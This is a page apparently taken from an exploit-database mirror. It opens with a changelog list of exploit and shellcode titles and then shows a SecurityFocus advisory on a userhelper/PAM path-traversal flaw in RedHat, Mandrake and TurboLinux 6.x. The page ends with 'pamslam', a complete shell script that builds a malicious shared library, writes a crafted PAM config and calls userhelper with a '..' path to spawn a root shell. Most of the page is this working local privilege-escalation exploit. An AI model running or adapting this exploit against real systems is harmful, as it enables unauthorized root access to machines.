
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
68 lines
No EOL
2.5 KiB
Bash
Executable file
68 lines
No EOL
2.5 KiB
Bash
Executable file
Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (1)
|
|
|
|
source: https://www.securityfocus.com/bid/913/info
|
|
|
|
Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.
|
|
|
|
This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.
|
|
|
|
|
|
#!/bin/sh
|
|
#
|
|
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
|
|
# found by dildog@l0pht.com
|
|
#
|
|
# synopsis:
|
|
# both 'pam' and 'userhelper' (a setuid binary that comes with the
|
|
# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
|
|
# _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
|
|
# being setuid means we can get root.
|
|
#
|
|
# fix:
|
|
# No fuckin idea for a good fix. Get rid of the .. paths in userhelper
|
|
# for a quick fix. Remember 'strcat' isn't a very good way of confining
|
|
# a path to a particular subdirectory.
|
|
#
|
|
# props to my mommy and daddy, cuz they made me drink my milk.
|
|
|
|
cat > _pamslam.c << EOF
|
|
#include<stdlib.h>
|
|
#include<unistd.h>
|
|
#include<sys/types.h>
|
|
void _init(void)
|
|
{
|
|
setuid(geteuid());
|
|
system("/bin/sh");
|
|
}
|
|
EOF
|
|
|
|
echo -n .
|
|
|
|
echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
|
|
chmod 755 _pamslam.conf
|
|
|
|
echo -n .
|
|
|
|
gcc -fPIC -o _pamslam.o -c _pamslam.c
|
|
|
|
echo -n o
|
|
|
|
ld -shared -o _pamslam.so _pamslam.o
|
|
|
|
echo -n o
|
|
|
|
chmod 755 _pamslam.so
|
|
|
|
echo -n O
|
|
|
|
rm _pamslam.c
|
|
rm _pamslam.o
|
|
|
|
echo O
|
|
|
|
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
|
|
|
|
sleep 1s
|
|
|
|
rm _pamslam.so
|
|
rm _pamslam.conf |